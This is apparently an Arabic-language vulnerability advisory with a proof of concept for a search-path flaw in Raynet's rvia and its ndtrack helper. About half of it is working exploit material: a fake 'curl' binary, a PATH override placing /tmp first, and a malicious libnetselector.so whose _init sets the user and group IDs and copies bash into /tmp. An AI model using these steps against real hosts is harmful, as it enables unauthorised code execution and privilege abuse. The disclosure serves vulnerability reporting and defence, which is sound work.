wise-security/cve-2025-69599
rvia في Raynet عرضة لمشكلة عنصر مسار بحث غير خاضع للتحكم (Uncontrolled Search Path Element). عند تحميل الكائنات المشتركة واستدعاء ثنائيات النظام (مثل .so والثنائيات المساعدة)، يتم استدعاؤها باستخدام مسارات نسبية، مما يسمح للمستخدم بالعبث بالثنائي أو كائن .so النهائي الذي يتم تنفيذه من خلال التلاعب بمتغير البيئة PATH.
في الدليل التالي، يتم إنشاء ثنائي عشوائي يسمى curl في دليل /tmp.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compiling the binary
يتم تغيير متغير PATH بحيث يكون أول دليل يتم البحث فيه عن أمر curl عند استدعائه بواسطة rvia هو /tmp.
export PATH=/tmp:$PATH
وبعد ذلك، فإن استدعاء /opt/rvia/rvia getconfig سيستخدم ثنائي curl المعدل (المعبث به) الخاص بنا.
وينطبق الأمر نفسه على خيار upload.
تم العثور على المشكلة نفسها عند استخدام الخيار rvia inventory الذي يستدعي داخليًا الثنائي ndtrack. يقوم الثنائي ndtrack باستدعاء الأمرين cat وsh باستخدام مسار نسبي.
أخيرًا، تم اكتشاف أيضًا أن الثنائي ndtrack يشمل كائنات مشتركة (ملفات .so)، باستخدام مسارات نسبية.
في الدليل التالي، يمكن رؤية الخطوات المتخذة لاستبدال الاستدعاء النسبي إلى libnetselector.so (من الممكن أيضًا تنفيذ الإجراءات نفسها مع libuploader.so). في هذه الحالة، يتم إنشاء كائن مشترك مخصص، وعند تنفيذ هذا الكائن المشترك، سيتم إنشاء نسخة من bash في دليل /tmp باسم bash_so_hijack.
فيما يلي كود C لإنشاء الكائن المشترك المخصص المسمى libnetselector.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object
من المهم ملاحظة أن هذا يعمل فقط عند استدعاء ndtrack مباشرة، لأنه عند استدعاء خيار inventory، يتم إجراء استدعاء إلى سكربت bash في /opt/rvia يسمى ndtrack، والذي يعيّن متغير البيئة PATH قبل استدعاء الثنائي ndtrack.
